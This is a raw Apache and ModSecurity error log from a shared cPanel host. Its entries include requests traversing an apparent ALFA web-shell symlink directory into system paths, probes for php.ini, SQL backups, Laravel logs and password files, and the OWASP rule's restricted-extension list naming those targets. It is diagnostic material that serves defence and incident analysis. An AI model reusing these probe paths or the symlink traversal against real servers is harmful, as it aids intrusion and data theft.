[Tue Oct 27 12:23:15.729345 2026] [authz_core:error] [pid 3261792:tid 3261792] [client 137.184.26.99:53990] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:23:22.866792 2026] [ssl:error] [pid 3258845:tid 3258845] (5)Input/output error: [client 23.21.227.240:64403] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:23:26.716374 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 3.216.13.10:6797] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:23:30.760529 2026] [ssl:error] [pid 3259050:tid 3259050] (70014)End of file found: [client 35.169.240.53:44583] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:23:42.839319 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 34.194.165.45:21357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:23:51.388406 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 52.2.58.41:7648] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:23:58.665415 2026] [core:error] [pid 3258393:tid 3258393] (13)Permission denied: [client 3.219.80.71:51750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/button/LNXPWRBN:00/driver/unbind
[Tue Oct 27 12:24:02.770233 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 18.235.158.19:51988] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:24:10.646932 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 52.70.209.13:59008] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:24:18.455691 2026] [core:error] [pid 3258933:tid 3258933] (13)Permission denied: [client 54.197.114.76:24553] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/driver/serio0/subsystem/drivers_probe
[Tue Oct 27 12:24:21.828395 2026] [security2:error] [pid 3258930:tid 3258930] [client 107.172.76.131:60806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDQKcVDsspnBBo_YCYZnQAAAEc"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 12:24:21.828455 2026] [security2:error] [pid 3258930:tid 3258930] [client 107.172.76.131:60806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDQKcVDsspnBBo_YCYZnQAAAEc"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 12:24:22.460707 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 34.196.114.170:21179] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:24:26.554061 2026] [ssl:error] [pid 3262218:tid 3262218] (70014)End of file found: [client 52.71.218.25:23279] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:24:30.444662 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 52.71.46.142:30398] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:24:34.463480 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 23.21.175.228:44507] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:24:38.383669 2026] [ssl:error] [pid 3264051:tid 3264051] (70014)End of file found: [client 3.226.34.98:51932] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:24:46.335312 2026] [core:error] [pid 3258924:tid 3258924] (13)Permission denied: [client 100.27.153.9:32178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/physical_node/i2c-0/device/subsystem/rescan
[Tue Oct 27 12:24:50.430258 2026] [ssl:error] [pid 3258900:tid 3258900] (70014)End of file found: [client 52.0.63.151:13862] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:25:02.388320 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 52.73.142.41:32803] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:25:06.518680 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 54.204.12.115:23782] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:25:14.134915 2026] [security2:error] [pid 3262218:tid 3262218] [client 16.216.88.122:16384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/000_mod_systemd.conf"] [unique_id "auDQakWPhKyNntEZE3vcVgAAAAU"]
[Tue Oct 27 12:25:14.135408 2026] [security2:error] [pid 3262218:tid 3262218] [client 16.216.88.122:16384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/000_mod_systemd.conf"] [unique_id "auDQakWPhKyNntEZE3vcVgAAAAU"]
[Tue Oct 27 12:25:14.135800 2026] [security2:error] [pid 3262218:tid 3262218] [client 16.216.88.122:16384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/000_mod_systemd.conf"] [unique_id "auDQakWPhKyNntEZE3vcVgAAAAU"]
[Tue Oct 27 12:25:17.068200 2026] [authz_core:error] [pid 3258910:tid 3258910] [client 195.178.110.50:28250] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:25:34.236414 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 54.80.73.122:26132] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:25:46.261284 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 3.94.40.182:46247] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:25:50.373449 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 18.233.24.238:44712] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:25:54.231634 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 3.219.81.66:1752] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:26:06.245025 2026] [core:error] [pid 3258845:tid 3258845] (13)Permission denied: [client 54.145.82.217:14309] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/firmware_node/physical_node/subsystem/drivers_probe
[Tue Oct 27 12:26:10.467022 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 184.73.239.35:57967] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:26:10.685567 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 85.208.96.196:22954] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:26:14.196103 2026] [core:error] [pid 3258924:tid 3258924] (13)Permission denied: [client 54.147.238.89:26396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory20/node0/cpu0/subsystem/uevent
[Tue Oct 27 12:26:18.206117 2026] [ssl:error] [pid 3264051:tid 3264051] (70014)End of file found: [client 3.212.219.113:33608] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:26:34.208255 2026] [security2:error] [pid 3264051:tid 3264051] [client 3.216.86.144:47655] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/subsystem/devices/node0/memory23/power/"] [unique_id "auDQupDV41noinUycvkAngAAAAc"]
[Tue Oct 27 12:26:34.208314 2026] [security2:error] [pid 3264051:tid 3264051] [client 3.216.86.144:47655] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/subsystem/devices/node0/memory23/power/"] [unique_id "auDQupDV41noinUycvkAngAAAAc"]
[Tue Oct 27 12:26:46.275874 2026] [ssl:error] [pid 3258980:tid 3258980] (70014)End of file found: [client 100.24.149.244:39417] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:26:52.270584 2026] [authz_core:error] [pid 3264051:tid 3264051] [client 216.73.217.51:25431] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Tue Oct 27 12:26:52.572520 2026] [authz_core:error] [pid 3264051:tid 3264051] [client 216.73.217.51:25431] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Tue Oct 27 12:26:52.880198 2026] [authz_core:error] [pid 3264051:tid 3264051] [client 216.73.217.51:25431] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Tue Oct 27 12:26:53.100403 2026] [authz_core:error] [pid 3264051:tid 3264051] [client 216.73.217.51:25431] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Tue Oct 27 12:26:55.347982 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 185.191.171.10:51716] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:26:56.598598 2026] [authz_core:error] [pid 3258980:tid 3258980] [client 216.73.217.51:63410] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Tue Oct 27 12:26:56.627309 2026] [authz_core:error] [pid 3258980:tid 3258980] [client 216.73.217.51:63410] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Tue Oct 27 12:26:56.655440 2026] [authz_core:error] [pid 3258980:tid 3258980] [client 216.73.217.51:63410] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Tue Oct 27 12:26:56.683089 2026] [authz_core:error] [pid 3258980:tid 3258980] [client 216.73.217.51:63410] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Tue Oct 27 12:26:56.902058 2026] [authz_core:error] [pid 3258980:tid 3258980] [client 216.73.217.51:63410] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 12:26:57.129487 2026] [authz_core:error] [pid 3258980:tid 3258980] [client 216.73.217.51:63410] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 12:26:57.355069 2026] [authz_core:error] [pid 3261792:tid 3261792] [client 216.73.217.51:37929] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 12:26:57.580271 2026] [authz_core:error] [pid 3258900:tid 3258900] [client 216.73.217.51:18115] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 12:26:57.807485 2026] [authz_core:error] [pid 3258845:tid 3258845] [client 216.73.217.51:63619] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Tue Oct 27 12:26:57.987815 2026] [authz_core:error] [pid 3258845:tid 3258845] [client 216.73.217.51:63619] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Tue Oct 27 12:26:58.166869 2026] [authz_core:error] [pid 3258845:tid 3258845] [client 216.73.217.51:63619] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Tue Oct 27 12:26:58.348435 2026] [authz_core:error] [pid 3258845:tid 3258845] [client 216.73.217.51:63619] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Tue Oct 27 12:26:58.529212 2026] [authz_core:error] [pid 3258845:tid 3258845] [client 216.73.217.51:63619] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Tue Oct 27 12:26:58.710541 2026] [authz_core:error] [pid 3258845:tid 3258845] [client 216.73.217.51:63619] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Tue Oct 27 12:26:58.892210 2026] [authz_core:error] [pid 3258845:tid 3258845] [client 216.73.217.51:63619] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Tue Oct 27 12:26:59.041395 2026] [authz_core:error] [pid 3258845:tid 3258845] [client 216.73.217.51:63619] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Tue Oct 27 12:27:02.429247 2026] [ssl:error] [pid 3265147:tid 3265147] (70014)End of file found: [client 3.213.85.234:42022] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:27:02.887122 2026] [security2:error] [pid 3258930:tid 3258930] [client 107.172.76.131:60806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDQysVDsspnBBo_YCYZqAAAAEc"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 12:27:02.887204 2026] [security2:error] [pid 3258930:tid 3258930] [client 107.172.76.131:60806] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDQysVDsspnBBo_YCYZqAAAAEc"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 12:27:10.929686 2026] [authz_core:error] [pid 3258980:tid 3258980] [client 216.73.217.51:46722] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 12:27:11.042959 2026] [authz_core:error] [pid 3258980:tid 3258980] [client 216.73.217.51:46722] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 12:27:11.154464 2026] [authz_core:error] [pid 3258980:tid 3258980] [client 216.73.217.51:46722] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 12:27:11.269594 2026] [authz_core:error] [pid 3258980:tid 3258980] [client 216.73.217.51:46722] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 12:27:14.227751 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 54.235.191.179:4723] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:27:14.227948 2026] [security2:error] [pid 3261792:tid 3261792] [client 54.235.191.179:4723] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/subsystem/devices/node0/memory12/state"] [unique_id "auDQ4hlGMQ3MCYA8x58bXgAAAAI"]
[Tue Oct 27 12:27:14.227979 2026] [security2:error] [pid 3261792:tid 3261792] [client 54.235.191.179:4723] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/subsystem/devices/node0/memory12/state"] [unique_id "auDQ4hlGMQ3MCYA8x58bXgAAAAI"]
[Tue Oct 27 12:27:22.234491 2026] [ssl:error] [pid 3264051:tid 3264051] (70014)End of file found: [client 34.234.200.207:49708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:27:25.630021 2026] [security2:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "auDQ7RlGMQ3MCYA8x58bYAAAAAI"]
[Tue Oct 27 12:27:25.630087 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auDQ7Yl2AUJsav26aCNtlAAAAAs"]
[Tue Oct 27 12:27:25.630331 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auDQ7Yl2AUJsav26aCNtlAAAAAs"]
[Tue Oct 27 12:27:25.630331 2026] [security2:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "auDQ7RlGMQ3MCYA8x58bYAAAAAI"]
[Tue Oct 27 12:27:25.630626 2026] [security2:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "auDQ7RlGMQ3MCYA8x58bYAAAAAI"]
[Tue Oct 27 12:27:25.630649 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auDQ7Yl2AUJsav26aCNtlAAAAAs"]
[Tue Oct 27 12:27:25.735673 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "auDQ7Yl2AUJsav26aCNtlQAAAAs"]
[Tue Oct 27 12:27:25.735899 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "auDQ7Yl2AUJsav26aCNtlQAAAAs"]
[Tue Oct 27 12:27:25.736192 2026] [security2:error] [pid 3265163:tid 3265163] [client 81.171.74.60:43682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "auDQ7Yl2AUJsav26aCNtlQAAAAs"]
[Tue Oct 27 12:27:25.862455 2026] [proxy_fcgi:error] [pid 3261792:tid 3261792] [client 81.171.74.60:43664] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 12:27:25.992303 2026] [security2:error] [pid 3258845:tid 3258845] [client 81.171.74.60:43722] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "clic5.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "auDQ7R4zCyYqPJF4nDQt4gAAAFY"]
[Tue Oct 27 12:27:25.992568 2026] [security2:error] [pid 3258845:tid 3258845] [client 81.171.74.60:43722] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic5.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "auDQ7R4zCyYqPJF4nDQt4gAAAFY"]
[Tue Oct 27 12:27:25.992817 2026] [security2:error] [pid 3258845:tid 3258845] [client 81.171.74.60:43722] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "clic5.sherwinpinturas.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "auDQ7R4zCyYqPJF4nDQt4gAAAFY"]
